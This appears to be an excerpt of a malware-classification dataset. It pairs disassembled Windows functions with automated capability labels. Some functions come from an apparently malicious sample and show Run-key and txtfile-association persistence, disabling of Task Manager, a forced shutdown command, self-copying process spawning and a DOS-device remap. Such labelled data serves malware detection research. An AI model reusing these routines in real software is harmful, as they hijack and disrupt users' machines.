joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400019b0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
mov qword [0x140009788], rcx
mov r9, rdx
mov qword [rsp + 0x28], rax
lea r8, [0x140001970]
mov dword [rsp + 0x20], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x38
ret

Function at 0x140002290
Capabilities:
Connect socket
Connect udp socket
Create udp socket

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov ebx, 2
mov qword [rsp + 0x28], 0
mov ecx, 0x7f000001
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, 0x1035
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
xor r8d, r8d
lea edx, [rbx - 1]
mov ecx, ebx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002310
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000232a
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400046c0
add rsp, 0x40
pop rbx
ret
mov rax, rbx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400046c0
add rsp, 0x40
pop rbx
ret

Function at 0x140002340
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
mov dword [rsp + 0x28], r9d
xorps xmm0, xmm0
mov dword [rsp + 0x2c], eax
mov dword [rsp + 0x3c], eax
xor r9d, r9d
mov dword [rsp + 0x4c], eax
mov rbx, rcx
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x40], r8
lea r8d, [r9 + 0x30]
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x20], 0x54456885
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400023f9
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov rcx, rbx
lea r8d, [r9 + 0x30]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 8
jb 0x1400023f9
cmp dword [rsp + 0x50], 0x54456885
jne 0x1400023f9
cmp dword [rsp + 0x54], 2
jne 0x1400023f9
mov eax, dword [rsp + 0x58]
jmp 0x1400023fb
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400046c0
add rsp, 0x90
pop rbx
ret
Function at 0x140002420
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
xorps xmm0, xmm0
mov dword [rsp + 0x28], edx
xor r9d, r9d
mov dword [rsp + 0x4c], 0
xorps xmm1, xmm1
mov dword [rsp + 0x20], 0x54456885
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x24], 1
mov rbx, rcx
lea r8d, [r9 + 0x30]
movdqu xmmword [rsp + 0x2c], xmm0
movdqu xmmword [rsp + 0x3c], xmm1
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400024c8
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov rcx, rbx
lea r8d, [r9 + 0x30]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 8
jb 0x1400024c8
cmp dword [rsp + 0x50], 0x54456885
jne 0x1400024c8
cmp dword [rsp + 0x54], 2
jne 0x1400024c8
mov rax, qword [rsp + 0x58]
jmp 0x1400024ca
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400046c0
add rsp, 0x90
pop rbx
ret

Function at 0x1400024f0
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400046c0
add rsp, 0x1d8
ret
Function at 0x1400050cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005116
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005116
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005116
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005116
cmp dword [rcx + 0x84], 0xe
jbe 0x140005116
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005118
xor al, al
add rsp, 0x28
ret
Function at 0x401530
Capabilities:
Copy file
Create process on windows
Create process suspended
Get common file path

Disassembly:
push rbp
push rdi
sub rsp, 0x3e8
lea rbp, [rsp + 0x80]
lea rdx, [rbp + 0x2f0]
mov eax, 0
mov ecx, 0xc
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov ecx, 0
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x16
add edx, eax
and edx, 0x3ff
sub edx, eax
mov eax, edx
mov dword [rbp + 0x35c], eax
lea rdx, [rbp + 0x2f0]
mov eax, dword [rbp + 0x35c]
mov r8d, 0x10
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__itoa]
call rax
lea rax, [rbp + 0x1e0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp + 0x170]
mov eax, 0
mov ecx, 0xc
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x60]
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
call rax
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x170]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp + 0x170]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x170]
add rax, rdx
mov word [rax], 0x5c
lea rdx, [rbp + 0x2f0]
lea rax, [rbp + 0x170]
mov rcx, rax
call sub.msvcrt.dll_strcat
lea rax, [rbp + 0x170]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x170]
add rax, rdx
mov dword [rax], 0x6578652e
mov byte [rax + 4], 0
lea rdx, [rbp + 0x170]
lea rax, [rbp + 0x1e0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x68
lea rax, [rbp + 0x170]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
nop
add rsp, 0x3e8
pop rdi
pop rbp
ret
Function at 0x401744
Capabilities:
Copy file
Get common file path
Persist via default file association registry key
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x368
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1c0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x40]
mov edx, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp - 0x40]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x40]
add rax, rdx
movabs rdi, 0x65726f6c7078655c
mov qword [rax], rdi
mov dword [rax + 8], 0x6578652e
mov byte [rax + 0xc], 0
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1c0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x2dc], eax
lea rax, [rbp - 0x48]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 0x48]
lea rdx, [rbp - 0x40]
mov ecx, dword [rbp + 0x2dc]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, str.txtfile_shellopencommand
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20006
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000000
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp - 0x48]
mov edx, dword [rbp + 0x2dc]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 2
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x368
pop rdi
pop rbp
ret

Function at 0x4018e5
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp - 0xc], 1
lea rax, [rbp - 8]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0xc]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov r8d, 0
lea rdx, str.DisableTaskMgr
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x401c49
Capabilities:
Execute command
Hide graphical window
Query or enumerate registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
call fcn.004029d0
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp - 4], 0
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rbp - 0x18], rax
lea rax, str.DisableTaskMgr
mov qword [rbp - 0x20], rax
mov dword [rbp - 0xa8], 0x64
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20019
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 0x24], eax
mov rax, qword [rbp - 0x30]
lea r8, [rbp - 0xa4]
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0xa8]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp - 0xa0]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov dword [rbp - 0x28], eax
cmp dword [rbp - 0x24], 0
jne 0x401d1c
cmp dword [rbp - 0x28], 0
je 0x401d31
lea rcx, str.not_Revised_
call sub.msvcrt.dll_puts
mov dword [rbp - 4], 0
jmp 0x401d5b
lea rax, [rbp - 0xa0]
lea rdx, [0x0040518f]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401d54
mov dword [rbp - 4], 1
jmp 0x401d5b
mov dword [rbp - 4], 0
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
cmp dword [rbp - 4], 0
jne 0x401e04
call fcn.00401744
call fcn.004018e5
call fcn.0040195d
call fcn.004019d5
call fcn.00401adf
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, [0x00405194]
call fcn.00401c0e
test eax, eax
je 0x401dce
mov r9d, 0
lea r8, str.Error
lea rdx, [0x0040519d]
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea r8, str.________C:__winnt
lea rdx, [0x004051be]
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
call rax
lea rcx, str.title
call sub.msvcrt.dll_system
lea rcx, str.shutdown__f__s__t_10__c
call sub.msvcrt.dll_system
jmp 0x401e10
lea rcx, str.task_manager_has_been_forbidden_
call sub.msvcrt.dll_puts
mov dword [rbp - 8], 0
jmp 0x401e30
call fcn.00401530
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 8], 1
cmp dword [rbp - 8], 0x1d
jle 0x401e19
mov eax, 0
add rsp, 0xe0
pop rbp
ret
Function at 0x402050
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00408054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x40216a
mov rax, qword [0x00408058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x40209e
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x402150
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x402082
mov rcx, rbx
call fcn.00402e90
test rax, rax
mov r12, rax
je 0x4021a2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00408058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.00402fb0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00408058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402185
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x402149
sub eax, 0x40
and eax, 0xffffffbf
je 0x402149
mov r9, rbp
add r9, qword [0x00408058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x402171
add dword [0x00408054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebp, ebp
jmp 0x4020ab
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401fe0
mov rax, qword [0x00408058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.00401fe0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00401fe0
nop
nop word cs:[rax + rax]

Function at 0x402da0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402de1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402dd8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x402de3
add rax, 0x28
cmp rax, r9
jne 0x402dc4
xor eax, eax
repz ret

Function at 0x402e90
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00405510]
cmp word [rbx], 0x5a4d
je 0x402eb0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.00402d60
test eax, eax
je 0x402ea4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.00402da0
Function at 0x403100
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004089c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004089a0]
test rbx, rbx
je 0x403154
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40314b
test rsi, rsi
je 0x40314b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x403130
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004089c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x140002350
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x14055c7c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rdi, rdx
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400023c3
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rbx
test eax, eax
je 0x1400023ef
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400023a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140165ad0
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov dword [0x14055d550], eax
jmp 0x1400023ce
Function at 0x140007e60
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x14055c7c0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x14055d560]
mov edi, edx
mov esi, ecx
cmp byte [rbx + 0x4a5d], 0
jne 0x140007ec8
cmp byte [rbx + 0x4a5e], 0
jne 0x140007ec8
movsx r9d, word [rbx + 0x5b6e]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.14000d190
test sil, 1
je 0x140007ff9
jmp 0x140007f61
movss xmm1, dword [rbx + 0x3898]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x1401fabe8]
xor eax, eax
mov edx, reloc.WS2_32.dll_recv
mulss xmm1, dword [0x1401fabdc]
addss xmm0, dword [rbx + 0xdfc]
addss xmm1, dword [rbx + 0xe00]
or dword [rbx + 0x47a8], 1
mov qword [rbx + 0x47c0], rax
movss dword [rbx + 0x47b8], xmm0
mov dword [rbx + 0x47ac], 1
movss dword [rbx + 0x47bc], xmm1
movss xmm0, dword [rbx + 0x3900]
mov rax, qword [0x14055d560]
mulss xmm0, dword [0x1401fab98]
or dword [rax + 0x47a8], 0x40
movss dword [rax + 0x4808], xmm0
movsx r9d, word [rbx + 0x5b6e]
call fcn.14000d190
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140007fb1
lea r11, [0x1401f92a0]
cmp r9b, 0x23
jne 0x140007f94
cmp byte [r8], r9b
jne 0x140007f94
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140007f81
not ecx
call fcn.14000bcb0
test rax, rax
je 0x140007ff9
cmp byte [rax + 0xae], 0
je 0x140007ff9
mov byte [rax + 0xb5], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xd0], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5b6e]
mov edx, reloc.WS2_32.dll_recv
movsx r9d, word [rbx + 0x5b6e]
call fcn.14000d190
or edi, 0x20c0347
lea rcx, [rsp + 0x20]
mov r8d, edi
xor edx, edx
call fcn.140005290
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140165ad0
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14000bc00
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x14055d560]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x14000bc63
mov qword [rsp], rbx
lea rbx, [0x1401f92a0]
nop dword [rax]
cmp r9b, 0x23
jne 0x14000bc43
cmp byte [r8], r9b
jne 0x14000bc43
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x14000bc30
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5bc8]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x14000bc97
mov r10, qword [r10 + 0x5bd0]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14000bc9e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x14000bc84
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x14000c400
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0xf0]
lea r8, [0x1401f92a0]
movsxd rcx, dword [rcx + 0xe8]
mov r11d, edx
shr r11d, 0x18
mov r9d, edx
shr r9d, 8
mov r10d, edx
shr r10d, 0x10
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r9b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r10b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, r11
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
mov rcx, qword [0x14055d560]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x14000c498
movsxd r8, edx
xor r9d, r9d
mov edx, 4
mov ecx, ebx
call fcn.140009c40
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x14000c520
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
movss xmm0, dword [rcx + 0x108]
lea r10, [0x1401f92a0]
mov rax, qword [rcx + 0xf0]
movss xmm1, dword [rcx + 0x10c]
movss xmm2, dword [rdx]
movss xmm4, dword [rdx + 8]
subss xmm2, xmm0
movss xmm3, dword [rdx + 4]
subss xmm4, xmm0
movss xmm0, dword [rdx + 0xc]
subss xmm3, xmm1
movsxd rcx, dword [rcx + 0xe8]
subss xmm0, xmm1
movd r8d, xmm2
movss dword [rsp], xmm2
mov r9d, dword [rax + rcx*4 - 4]
movzx eax, byte [rsp]
not r9d
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
movss dword [rsp + 4], xmm3
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
movss dword [rsp + 8], xmm4
movss dword [rsp + 0xc], xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 4]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm3
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 8]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm4
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
shr eax, 8
movzx edx, al
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0xc]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
shr r8, 0x18
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx edx, r9b
shr r9d, 8
xor r8, rdx
xor r9d, dword [r10 + r8*4]
not r9d
mov eax, r9d
add rsp, 0x18
ret